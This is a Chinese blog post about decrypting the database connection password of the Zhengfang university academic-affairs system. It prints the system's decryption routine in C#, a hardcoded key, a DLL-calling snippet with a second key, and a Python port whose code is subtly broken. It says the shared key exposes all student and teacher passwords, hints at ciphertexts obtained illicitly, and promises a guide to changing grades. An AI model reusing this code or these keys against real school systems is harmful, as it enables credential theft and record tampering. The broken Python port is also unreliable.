如何破解正方教务系统数据库连接密码

最近几天在乌云zone上面看到一个关于正方教务系统的帖子,于是去围观了一下,原来是在研究如何解密系统连接数据库所用的密码。我当时就来了兴趣,虽然我……!

原帖地址

具体研究的方法可以参考原帖,我这里主要说下解密用到的代码。

正方系统是通过调用一个叫jiemi()的函数去把密文解开,函数原型如下:

public static string jiemi(string PlainStr, string key)

 顾名思义PlainStr就是要解密的密文,key则可以理解为加密算法中的一个私钥,作为一个静态变量存储在DLL中:

public static string str_jm = "Acxylf365jw";

下面是原文作者修改过后的jiemi()方法,主要是把函数完全修改成只用.NET默认库里面的东西:

public static string jiemi(string PlainStr, string key) 
{ 
    int num = 1; 
    checked 
    { 
        if (Strings.Len(PlainStr) % 2 == 0) 
        { 
            string text = Strings.StrReverse(Strings.Left(PlainStr, (int)Math.Round((double)Strings.Len(PlainStr) / 2.0))); 
            string text2 = Strings.StrReverse(Strings.Right(PlainStr, (int)Math.Round((double)Strings.Len(PlainStr) / 2.0))); 
            PlainStr = text + text2; 
        } 
        int num2 = Strings.Len(PlainStr); 
        string text5=""; 
        for (int i = 1; i <= num2; i++) 
        { 
            string text3 = Strings.Mid(PlainStr, i, 1); 
            string text4 = Strings.Mid(key, num, 1); 
            if ((Strings.Asc(text3) ^ Strings.Asc(text4)) < 32 | (Strings.Asc(text3) ^ Strings.Asc(text4)) > 126 | Strings.Asc(text3) < 0 | Strings.Asc(text3) > 255) 
            { 
                text5 += text3; 
            } 
            else 
            { 
        text5 += Strings.Chr(Strings.Asc(text3) ^ Strings.Asc(text4)).ToString(); 
            } 
            if (num == Strings.Len(key)) 
            { 
                num = 0; 
            } 
            num++; 
        } 
        return text5; 
    } 
}

解密的过程就是把密文分开两半,然后做稍复杂的移位运算len(PlainStr)次,看来是一个可逆的算法,相信把加密算法写出来应该不难= =

在评论里面,菊神(@pangshenjie)提出了另一种方法:直接调用DLL的接口进行解密,不过前提是要知道私钥的内容。这里只贴出核心代码:

zjdx.mmtp test=new zjdx.mmtp();
Console.WriteLine("-----    Fuck ZF    ----\n");
string inpt = Console.ReadLine();
string outprint = test.jiemi(inpt, "Encrypt01"); //Encrypt01是那个解密的向量Key
Console.WriteLine(outprint);

另一位大神(@Lmy)给出了用python3编写的解密函数:

def squarer(value, key):
    if len(value) % 2 == 0:
        p = int(round(len(value)) / 2.0)
        value = reversed(value[-p:]) + reversed(value[:p])
    k = 0
    result = ''
    for v in value:
        if ord(v) ^ ord(key[k]) < 32 | ord(v) ^ ord(key[k]) > 126 | ord(v) < 0 | ord(v) > 255:
            result += v
        else:
            result += chr(ord(v) ^ ord(key[k]))
        k = 0 if k == len(key) else k + 1
    return result

主要的内容贴得差不多了,大家不要用代码来做坏事哦~

虽然每个学校的教务系统都是单独制作的,但在较低的版本里,听说整个教务系统的密钥都是统一的,所以说只要拿到了密钥,除了可以解密数据库连接密码外,还可以解密所有用户的密码,包括学生、老师和部门!其实原文的web.config,应该是正方很早期的一个版本了。我猜那个学校要么是懒得升级,要么是没给正方续费(这破烂教务系统收费还是很高的)。有点遗憾的是,我们学校的私钥并不是上面的“Acxylf365jw”。当然啦,电子科大这方面一向做得很好,目测钱给得很够,因为学校的教务系统升级十分频繁= =其实更遗憾的是,我手里所握着的所有密文看来是不会有用武之地了,因为当初忘记把DLL下载下来,而现在密钥早就换过了。只能哎呀了……(密文怎么来的?呵呵~)

最近心情都不太好,找天写一下怎么改成绩吧,包过哦亲~

PS.最后还是忍不住吐槽一下:正方的开发者是不懂英语的吗?整个系统每一个角落都用的拼音啊有木有!!!

« 返回